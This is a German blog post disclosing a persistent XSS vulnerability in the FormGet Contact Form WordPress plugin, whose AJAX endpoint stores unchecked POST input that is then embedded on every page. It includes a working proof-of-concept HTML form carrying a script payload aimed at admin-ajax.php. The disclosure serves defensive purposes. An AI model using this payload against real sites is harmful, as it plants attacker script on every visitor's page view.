Bug in FormGet Contact Form Plugin erlaubt Persistive XSS

29.08.2014 yahe legacy security wordpress

Heute habe ich noch etwas spannendes für euch: eine Persistive-XSS-Lücke. Das bedeutet, dass man nicht jedem Benutzer den manipulierten Seiteninhalt unterschieben muss, sondern, dass diese permanent gespeichert wird und so bei jedem Aufruf der Originalwebseite aktiv wird. Gefunden habe ich diesen Fehler im FormGet Contact Form Plugin.

Das Plugin besteht nur aus der Datei "index.php" und bietet einen AJAX-Endpunkt in der Funktion "cf_text_ajax_process_request()". Dort werden einfach ungeprüft POST-Parameter in die Plugin-Konfiguration übernommen. Besonders spannend ist die Option "fg_embed_code", die über den POST-Parameter "value" gesetzt wird. Dabei handelt es sich um Code, der später über die Funktion "embeded_code()" in jeder Seite des Wordpress-Blogs eingebunden wird: Jackpot! Die Einbringung von eigenem Code funktioniert relativ einfach über ein HTML-Formular, das ein Angreifer einmalig benutzen muss:

<form action="http://example.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="request_response" />
  <input type="hidden" name="value" value="<script>alert('XSS.');//sideBar</script>" />
  <input type="hidden" name="value_hide" value="" />
  <input type="hidden" name="page_id" value="" />
  <input type="submit" />
</form>

Ich stand mit den Entwicklern in Kontakt, die mir auch mitgeteilt hatten, etwas auf der Serverseite gefixt zu haben. Auf meine Anmerkung hin, dass der Fehler im Plugin sei und nicht in ihrer Serveranwendung, erhielt ich jedoch keine Antwort mehr. Solange kein Patch verfügbar ist, kann der Rat deshalb nur lauten, das Plugin umgehend zu deaktivieren.


Search

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)